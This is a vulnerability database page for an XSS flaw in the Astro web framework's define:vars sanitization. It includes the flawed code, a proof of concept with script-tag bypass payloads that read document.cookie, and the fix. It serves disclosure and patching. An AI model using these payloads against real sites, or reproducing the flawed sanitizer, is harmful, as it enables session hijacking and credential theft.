Vulnerability-Lookup

CVE-2026-41067 (GCVE-0-2026-41067)

Vulnerability from cvelistv5 – Published: 2026-04-24 16:57 – Updated: 2026-04-24 18:16

Title

Astro: XSS via incomplete `</script>` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass

Summary

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-24 17:27 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/withastro/astro/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
withastro	astro	Affected: < 6.1.6	guessed

Show details on NVD website

JSON

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FKIE_CVE-2026-41067

Vulnerability from fkie_nvd - Published: 2026-04-24 17:16 - Updated: 2026-06-17 10:46

Severity

6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	astro	astro	*

JSON

To clipboard

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    }
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GHSA-J687-52P2-XCFF

Vulnerability from github – Published: 2026-04-21 20:39 – Updated: 2026-04-27 16:43

Summary

Astro: XSS in define:vars via incomplete </script> tag sanitization

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
    let output = '';
    for (const [key, value] of Object.entries(vars)) {
        output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
            /<\/script>/g,       // ← Case-sensitive, exact match only
            '\\x3C/script>',
        )};\n`;
    }
    return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
    delete props.hoist;
    children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables: - Session hijacking via cookie theft (document.cookie) - Credential theft by injecting fake login forms or keyloggers - Defacement of the rendered page - Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
    let output = '';
    for (const [key, value] of Object.entries(vars)) {
        output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
            /</g,
            '\\u003c',
        )};\n`;
    }
    return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T20:39:49Z",
    "nvd_published_at": "2026-04-24T17:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `defineScriptVars` function in Astro\u0027s server-side rendering pipeline uses a case-sensitive regex `/\u003c\\/script\u003e/g` to sanitize values injected into inline `\u003cscript\u003e` tags via the `define:vars` directive. HTML parsers close `\u003cscript\u003e` elements case-insensitively and also accept whitespace or `/` before the closing `\u003e`, allowing an attacker to bypass the sanitization with payloads like `\u003c/Script\u003e`, `\u003c/script \u003e`, or `\u003c/script/\u003e` and inject arbitrary HTML/JavaScript.\n\n## Details\n\nThe vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = \u0027\u0027;\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c\\/script\u003e/g,       // \u2190 Case-sensitive, exact match only\n\t\t\t\u0027\\\\x3C/script\u003e\u0027,\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis function is called from `renderElement` at `util.ts:172-174` when a `\u003cscript\u003e` element has `define:vars`:\n\n```typescript\nif (name === \u0027script\u0027) {\n\tdelete props.hoist;\n\tchildren = defineScriptVars(defineVars) + \u0027\\n\u0027 + children;\n}\n```\n\nThe regex `/\u003c\\/script\u003e/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification \u00a713.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):\n\n1. **Case variations**: `\u003c/Script\u003e`, `\u003c/SCRIPT\u003e`, `\u003c/sCrIpT\u003e` \u2014 HTML tag names are case-insensitive but the regex has no `i` flag.\n2. **Whitespace before `\u003e`**: `\u003c/script \u003e`, `\u003c/script\\t\u003e`, `\u003c/script\\n\u003e` \u2014 after the tag name, the HTML tokenizer enters the \"before attribute name\" state on ASCII whitespace.\n3. **Self-closing slash**: `\u003c/script/\u003e` \u2014 the tokenizer enters \"self-closing start tag\" state on `/`.\n\n`JSON.stringify()` does not escape `\u003c`, `\u003e`, or `/` characters, so all these payloads pass through serialization unchanged.\n\n**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) \u2192 assigned to a variable \u2192 passed via `define:vars` on a `\u003cscript\u003e` tag \u2192 `renderElement` \u2192 `defineScriptVars` \u2192 incomplete sanitization \u2192 injected into `\u003cscript\u003e` block in HTML response \u2192 browser closes the script element early \u2192 attacker-controlled HTML parsed and executed.\n\n## PoC\n\n**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):\n\n```astro\n---\nconst name = Astro.url.searchParams.get(\u0027name\u0027) || \u0027World\u0027;\n---\n\u003chtml\u003e\n\u003cbody\u003e\n  \u003ch1\u003eHello\u003c/h1\u003e\n  \u003cscript define:vars={{ name }}\u003e\n    console.log(name);\n  \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:\n\n```js\nexport default defineConfig({\n  output: \u0027server\u0027\n});\n```\n\n**Step 3:** Start the dev server and visit:\n\n```\nhttp://localhost:4321/?name=\u003c/Script\u003e\u003cimg/src=x%20onerror=alert(document.cookie)\u003e\n```\n\n**Step 4:** View the HTML source. The output contains:\n\n```html\n\u003cscript\u003econst name = \"\u003c/Script\u003e\u003cimg/src=x onerror=alert(document.cookie)\u003e\";\n  console.log(name);\n\u003c/script\u003e\n```\n\nThe browser\u0027s HTML parser matches `\u003c/Script\u003e` case-insensitively, closing the script block. The `\u003cimg onerror=alert(document.cookie)\u003e` is then parsed as HTML and the JavaScript in `onerror` executes.\n\n**Alternative bypass payloads:**\n\n```\n/?name=\u003c/script \u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/script/\u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/SCRIPT\u003e\u003cimg/src=x onerror=alert(1)\u003e\n```\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of a victim\u0027s browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `\u003cscript\u003e` tag. This is a documented and expected usage pattern in Astro.\n\nExploitation enables:\n- **Session hijacking** via cookie theft (`document.cookie`)\n- **Credential theft** by injecting fake login forms or keyloggers\n- **Defacement** of the rendered page\n- **Redirection** to attacker-controlled domains\n\nThe vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.\n\n## Recommended Fix\n\nReplace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `\u003c` characters in the JSON output:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = \u0027\u0027;\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c/g,\n\t\t\t\u0027\\\\u003c\u0027,\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis is the standard approach used by frameworks like Next.js and Rails. Replacing every `\u003c` with `\\u003c` is safe inside JSON string contexts (JavaScript treats `\\u003c` as `\u003c` at runtime) and eliminates all possible `\u003c/script\u003e` variants including case variations, whitespace, and self-closing forms.",
  "id": "GHSA-j687-52p2-xcff",
  "modified": "2026-04-27T16:43:27Z",
  "published": "2026-04-21T20:39:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41067"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/astro@6.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: XSS in define:vars via incomplete \u003c/script\u003e tag sanitization"
}

Sightings

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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-41067 (GCVE-0-2026-41067)

FKIE_CVE-2026-41067

GHSA-J687-52P2-XCFF

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